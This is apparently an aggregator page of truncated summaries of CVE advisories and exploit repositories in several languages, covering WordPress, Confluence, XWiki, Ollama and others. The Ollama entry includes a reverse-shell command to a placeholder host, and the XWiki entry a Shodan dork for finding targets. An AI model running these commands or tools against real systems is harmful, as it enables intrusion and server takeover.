CVE-2026-88394

WookTeam v1.6.6 and before is vulnerable to a Directory Traversal. The project task export endpoint /api/project/task/export downloads an arbitrary file from the server when the data parameter is supplied with a crafted JSON payload. The file value inside the JSON is concatenated directly into...

wp2shell-Wordpress-TOWN

wp2shell 作者：lucifer0xf WordPress 核心未认证远程代码执行 POC（CVE-2026-63030 + CVE-2026-60137） wp2shell 是针对 WordPress 核心关键漏洞链的漏洞利用工具。它将 REST API 批量路由混淆漏洞与 WPQuery 中的 SQL 注入串联起来，从而在存在漏洞的 WordPress 安装上实现未认证远程代码执行 。 详情| 信息 ---|--- CVE 编号| CVE-2026-63030（REST 批量路由混淆）+ CVE-2026-60137（authornotin SQL 注入） 受影响版本|...

CVE-2024-10924

CVE-2024-10924 Really Simple Security Free, Pro, Pro Multisite 9.0.0 – 9.1.1.1 – 認証バイパス 説明 WordPress用のReally Simple Security（Free、Pro、Pro Multisite）プラグインのバージョン9.0.0から9.1.1.1には、認証バイパスの脆弱性があります。これは、二要素認証のREST...

USN-8870-1: OpenStack Aodh and Watcher vulnerability

Chen YuXiang discovered that OpenStack Aodh did not correctly enforce project scoping in its alarm list API and that the OpenStack Watcher webhook trigger endpoint did not apply authorization. An attacker could possibly use this issue to access sensitive alarm metadata or trigger unauthorized...

USN-8870-1 aodh, watcher vulnerability

Chen YuXiang discovered that OpenStack Aodh did not correctly enforce project scoping in its alarm list API and that the OpenStack Watcher webhook trigger endpoint did not apply authorization. An attacker could possibly use this issue to access sensitive alarm metadata or trigger unauthorized...

CVE-2024-10924

CVE-2024-10924 の POC Really Simple Plugins WordPress プラグインのREST APIにおけるエラーハンドリングの脆弱性（バージョン9.0.0から9.1.1.1まで、両端を含む）により、二要素認証が有効な場合、攻撃者は認証をバイパスし、既存のユーザーまたは管理者アカウントを乗っ取ることが可能です。 親切なことに、プラグインのバージョン9.1.1.1も同梱されています。解凍して wp-content/plugins フォルダにアップロードするだけです。プラグインを有効化し、2FAを有効にするのを忘れないでください。 必要条件 pip...

jenkinsci__docker-commons-plugin_CVE-2022-20617_1-17

Jenkins 的 Docker Commons API 插件 API 插件，为各种与 Docker 相关的插件提供通用共享功能。 概要 用于管理 Docker 镜像和容器指纹的 API Docker Registry 的凭据和位置 Docker Daemon（即 Docker Remote API）的凭据和位置 用于 Docker CLI 客户端的 ToolInstallation DockerImageExtractor 扩展点，用于从任务中获取 Docker 镜像关系 在 Docker 构建中引用相关镜像指纹的简单 UI 等等。 使用场景 凭据和位置...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-Confluence Data CenterおよびServerにおけるRCE この脆弱性により、認証されていない攻撃者が脆弱なConfluenceサーバー上で任意のコードをリモートで実行できる可能性があります。この脆弱性は、Confluence REST APIにおけるユーザー入力の不適切な検証に起因します。これにより、攻撃者はConfluenceサーバーに悪意のあるコードを注入し、そのコードをサーバーが実行する可能性があります。 影響を受けるバージョン Confluence Data Center = 8.9.0 8.8.0 = Confluence...

CVE-2020-10148

使用方法と免責事項 このスクリプトは、SolarWinds Orion API のリモートコード実行脆弱性（CVE-2020-10148）のバッチ検出スクリプトです。 使用方法：Python CVE-2020-10148.py urls.txt urls.txt 内の各URLは1行に記載し、脆弱性のあるアドレスは vul.txt に出力されます。 影響バージョン： SolarWinds Orion 2020.2.1 HF 2 および 2019.4 HF 6 より前のバージョンが本脆弱性の影響を受けます。...

CVE-2025-24893-XWiki-RCE

📜 描述 XWiki 中存在一个严重 RCE 漏洞 ，允许未经身份验证的攻击者 通过易受攻击的 API 端点执行任意系统命令。 利用该漏洞可能导致： 完全接管服务器 数据窃取或破坏 横向渗透内部网络 💥 影响 完全攻陷 受影响的 XWiki 实例及底层操作系统。 丧失机密性、完整性和可用性 。 🛠 修复 / 缓解措施 升级 到最新的修补版本（）。 限制 或禁用易受攻击的 API 端点。 应用 WAF 规则 阻止恶意载荷。 漏洞利用： SHODAN DORK : http.title:"XWiki" 使用方法： git clone...

CVE-2021-21975

影響を受ける製品 VMware vRealize Operations 8.3.0、8.2.0、8.1.1、8.1.0、7.5.0 VMware Cloud Foundation 4.x、3.x vRealize Suite Lifecycle Manager 8.x 説明 2021年3月31日、VMwareはvmsa-2021-0004のリスク通知を正式に公開しました。脆弱性番号はcve-2021-21975とcve-2021-21983です。脆弱性レベルは高リスクで、スコアは8.6です。 CVE-2021-21975：vRealize Operations Manager...

CVE-2022-24112_POC

POC 收集的POC CVE-2022-24112 为了做春秋云境:CVE-2022-24112靶场环境，修改了两个POC，将M4xSec与twseptian两位师傅的POC稍作修改，适应春秋云境靶场： 春秋云境:CVE-2022-24112： Apache Apisix是美国阿帕奇（Apache）基金会的一个云原生的微服务API网关服务。该软件基于 OpenResty 和 etcd 来实现，具备动态路由和插件热加载，适合微服务体系下的 API 管理。 Apache...

wp2shell-poc

wp2shell 💙 支持本项目 如果你欣赏我的工作，请考虑通过 USDT TRC20： TQBA72kakjCZLnJt8fJYcD7dyQCEpzNtVN 支持本项目 WordPress 核心预认证 RCE 漏洞链 wp2shell 是一个安全研究概念验证，演示了 WordPress 核心中一个结合以下漏洞的预认证漏洞链： CVE-2026-63030 — REST API Batch 路由混淆 CVE-2026-60137 — WPQuery SQL 注入 该漏洞链演示了如何将这些漏洞组合起来，从未认证的 REST API 请求逐步推进到 SQL...

CVE-2020-27199

CVE-2020-27199 Magic Home Pro - 認証バイパス Magic Home Pro Mobile Application（モバイルアプリケーション）に複数の脆弱性が見つかりました。このアプリケーションは、JadeHomic LED Strip RGB Kitと連携するために使用されます。これらの脆弱性の中で最も重大なものは、認証バイパス CVE-2020-27199 の脆弱性であり、最終的には被害者の全デバイスグループを完全に乗っ取り、制御することを可能にします。...

CVE-2025-8723

⚡️ Cloudflare Image Resizing 描述: 该插件的 REST API 端点未对用户进行身份验证，并且在 hookrestpredispatch 方法中不当处理输入。此缺陷使攻击者能够通过构造恶意请求注入并执行任意 PHP 代码，无需登录即可利用。 🛠 本利用工具的特性 专业、模块化、可扩展的 Python 脚本 自动检测 插件漏洞（通过解析 readme.txt 文件） 多种绕过技术 ，适用于 WAF 和严格环境： 最简和高级标头集合（随机化 User-Agent、Referer、Origin、X-Forwarded-For 等） 重复尝试并轮换标头...

CVE-2020-13937

説明 Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1, 3.0.2, 3.1.0, 4.0.0-alpha には、認証なしでKylinの設定情報を公開するRESTful APIが1つ存在します。そのため、機密情報が漏洩する危険性があります。 悪用方法...

CVE-2024-49328

CVE-2024-49328 WP REST API FNS ; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Allow: POST Content-Length: 191...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Linux上で実行する必要があり、環境にはgccが必要です。 golangをインストールし、以下のコマンドを実行してシェルをリバウンドします。 go run main.go -target http://127.0.0.1:11434/ -exec "bash -i & /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&1" 注意：エクスプロイトの実行には数分かかる場合があります。しばらくお待ちください。...

CVE-2023-5561-PoC

CVE-2023-5561-PoC WordPressはREST APIを介して検索可能なユーザーフィールドを適切に制限しておらず、認証されていない攻撃者が、影響を受けるウェブサイト上で公開投稿を公開したユーザーのメールアドレスをオラクルスタイルの攻撃を通じて識別することを可能にします。 ソース: https://wpscan.com/vulnerability/19380917-4c27-4095-abf1-eba6f913b441/...

CVE-2026-63030

CVE-2026-63030: wp2shell WordPress 批量 API 去同步 SQL 注入漏洞利用工具 通过 CVE-2026-63030 wp2shell 漏洞提取用户和密码哈希的概念验证工具。 漏洞信息 CVE : CVE-2026-63030 wp2shell 关联 CVE : CVE-2026-60137 类型 : 预认证盲注 SQL 注入 受影响版本 : WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 修复版本 : 6.9.5, 7.0.2+ 使用方法 python POC.py options 基本用法 python POC.py...